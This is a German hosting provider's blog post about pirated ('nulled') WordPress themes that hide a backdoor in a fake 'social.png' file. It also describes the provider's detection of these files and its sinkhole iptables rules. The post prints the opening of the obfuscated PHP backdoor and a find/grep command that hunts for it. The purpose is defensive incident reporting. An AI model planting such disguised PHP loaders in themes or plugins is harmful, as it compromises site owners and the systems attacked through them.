Immer Ärger mit gestohlenen Themes

Posted by jonas on Sunday, November 23, 2014

Speziell an diesem Wochenende beobachten wir eine ungewöhnliche Häufung von Listings einiger unserer Hosts auf http://cbl.abuseat.org/. Die CBL ist keine Blacklist von Hosts, die wegen Spamming auffällig wären, sondern weil sie Malware hosten. Dass so etwas sporadisch mal passiert, bleibt nie ganz aus, aber die Häufung war schon sehr ungewöhnlich.

Speziell bei Shared Hosting ist das ein ziemliches Problem, denn wenn sich auf einem Host erstmal zig WordPress-, Joomla!- oder Drupal-Versionen befinden, die dutzendfach mit Themes und Plugins ausgestattet werden, ist es schon unwahrscheinlich genug, dass sich alle User ihrer Verantwortung bewusst sind, diese Systeme (die sie sich ja selbst installieren) auch aktuell zu halten, um jene möglichst frei von Einbrüchen zu halten.

Eine vergleichsweise neue Qualität sind Backdoors, die sich User auf eigene Faust ins Haus holen, und das trifft, wie’s aussieht, insbesondere die Sparfüchse. Nehmen wir mal ein willkürliches Beispiel aus einem konkreten Vorfall: Das WordPress-Theme Bayforest. Das ist ein kommerzielles Theme und kostet in der Standardlizenz 43 Dollar. So weit, so gut. Es geht aber auch vorgeblich kostenlos: Sites wie nullit.net, nulledirectory.com oder wp-nulled.com bieten ebenfalls Downloadlinks zu dem gleichen Theme an - mit dem Haken, dass man direkt nach dem Entpacken eine functions.php vorfindet, die mittels include() angeblich ein .png-Bild einbindet:

$ grep include functions.php | grep png
<?php include('images/social.png'); ?>

Dass das wenig Sinn ergibt, liegt auf der Hand - genauso wie der Umstand, dass es sich bei der social.png natürlich nicht um ein Bild handelt:

$ head -c 512 images/social.png
<?php error_reporting(0); ini_set('display_errors', 0);@ini_set('max_execution_time', 300);@set_time_limit(0);function XJmVaOhvhAQNoaACoDOM() {    if (!defined('WP_OPTION_KEY')) {        define('WP_OPTION_KEY', 'wp_data_newa');        $oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(1);    }}if (class_exists('JFactory')) {    $fRBDRzVvkOhTDTWAHUGa = & JFactory::getApplication();    $fRBDRzVvkOhTDTWAHUGa->registerEvent('onAfterRender', 'XJmVaOhvhAQNoaACoDOM');}if ($GLOBALS['base_path'] || $GLOBALS['base_url'

Das ist nebenbei nicht die einzige Änderung; die ehemals kommerzielle Lizenz wird kurzerhand in eine GPL umgedeutet:

$ grep License style.css
License: GNU General Public License version 3.0
License URI: http://www.gnu.org/licenses/gpl-3.0.html

Es liegt also, ganz nebenbei, eine Urheberrechtsverletzung vor. Dem aufmerksamen Leser dürfte nicht die überraschende Ähnlichkeit der Domainnamen der Downloadsites entgegangen sein. Mit Blick in die Wikipedia:

Als Nulled oder Nullified (frei übersetzt in etwa: von Schutzmechanismen befreit) werden kommerzielle Web-Skripte (überwiegend geschrieben in PHP, gelegentlich auch in Perl, ASP, etc.) bezeichnet, bei denen eventuelle „Call-Home“-Funktionen, Copyright-Hinweise, Lizenzschlüssel-Eingaben, Code-Verschleierungen, etc. entfernt oder modifiziert wurden, um diese ohne die eigentlich erforderliche Zahlung von Lizenzgebühren zu verbreiten oder zu verwenden.

Wer solche Themes und Plugins einsetzt, möge sich dann bitte genausowenig über entsprechende Folgeerscheinungen wundern, wie jemand, der sich aus dubioser Quelle kommerzielle Software kostenlos herunterlädt, sich darüber wundern sollte, dass plötzlich sein Internetzugang irgendwie auch in seiner Abwesenheit Aktivität zeigt oder plötzlich all seine Daten auf der lokalen Festplatte verschlüsselt sind und nach der Zahlung von Bitcoins verlangt wird. Bei wem beim Begriff “nulled” nicht sofort die gleiche rote Lampe angeht wie beim Begriff “warez”, und wer sich nicht darüber wundert, wenn die Domain eines Downloadlinks auf einen schillernden Namen wie “quickzlinkz.com” hört, der hat hier dringend Nachholbedarf, denn mit dem Einsatz solcher Software schadet man sich nicht nur selbst, sondern auch anderen - sowohl direkt, zum Beispiel dadurch, dass über eine derartige Backdoor dann Angriffe auf die Systeme anderer gefahren werden, als auch indirekt: Landet dann wegen solcher Vorgänge einer unserer Hosts auf einer Blacklist wie der CBL, wird damit beispielsweise der Mailverkehr aller User jenes Hosts empfindlich beeinträchtigt. Vielen Dank auch.

Wir gehen bei Kenntnisnahme solcher Vorgänge rigoros vor und sperren die betreffenden Sites. Dafür haben wir auf Basis unserer Hausordnung ja auch genug Handhabe: Weder dulden wir Urheberrechtsverletzungen, noch nehmen wir hin, wenn Software Angriffe auf andere Systeme fährt oder Spam verschickt.

Was wir nun konkret unternommen haben, sind zwei Dinge: Zum einen blockieren wir Traffic zu den von der CBL genannten Sinkhole-IPs, und loggen dabei die konkrete User-ID, die jenen Traffic generiert. Das sind zwei einfache iptables-Regeln:

[root@adhara ~]# iptables-save | grep OUTPUT
[...]
-A OUTPUT -d $SINKHOLEIP -j LOG --log-prefix "dropped traffic to sinkhole: " --log-uid
-A OUTPUT -d $SINKHOLEIP -j DROP
[...]

Das hinterlässt dann praktische Zeilen in den Logs, denen wir entnehmen können, welchen Uberspace wir leider einmal genauer unter die Lupe nehmen müssen:

Nov 23 01:41:34 adhara kernel: dropped traffic to sinkhole: IN= OUT=eth0 SRC=95.143.172.230 DST=$SINKHOLEIP LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=30334 DF PROTO=TCP SPT=56258 DPT=80 WINDOW=14600 RES=0x00 SYN URGP=0 UID=$UID GID=$GID

Zum anderen haben wir einem Blogpost von wordfence.com entnehmen können, dass sich - zumindest bei der aktuellen Welle - die Backdoor gut an der Existenz jener oben gezeigten social.png erkennen lässt, die PHP-Code enthält. Ein bisschen pssh-Foo hilft:

$ pssh --print --par 15 --inline --timeout 0 --user root --hosts ~/.pssh/hostlists/uberspace "find /var/www/virtual -name social.png -exec file '{}' \; | grep PHP"
[...]
ursa.uberspace.de: /var/www/virtual/$SOMEUSER/html/wp-content/plugins/royalslider_v.3.1.9/images/social.png: PHP script text
[...]

Im Ergebnis haben wir so verteilt über alle Hosts insgesamt 32 Themes und Plugins bei 17 verschiedenen Usern identifiziert - User, die dann jetzt im Lauf des restlichen Nachmittags unerfreuliche Mails von uns bekommen werden.

Bitte tut euch selbst und allen anderen einen Gefallen: Haltet eure Software aktuell. Installiert keine Software aus dubiosen Quellen - auch keine Themes und Plugins. Nur mal so aus dem Alltag: Wir verzeichnen praktisch keine Einbrüche mehr in WordPress; nicht zuletzt durch die dort inzwischen eingeführten automatischen Updates. Trotzdem haben wir häufig mit gehackten WordPress-Installationen zu tun, und “schon wieder ein Theme mit veraltetem TimThumb” ist da leider die häufigste Erklärung.

Nachtrag: Für alle betreffenden Hosts sind natürlich Delistings bei der CBL beauftragt und größtenteils auch schon durch.

Nachtrag 2: Auch bei Hotmail, die auf Symantecs Brightmail als Blacklist zurückgreifen, haben wir Delistings beauftragt; erfahrungsgemäß dauert das aber Tage, bis derartige Meldungen dort bearbeitet werden.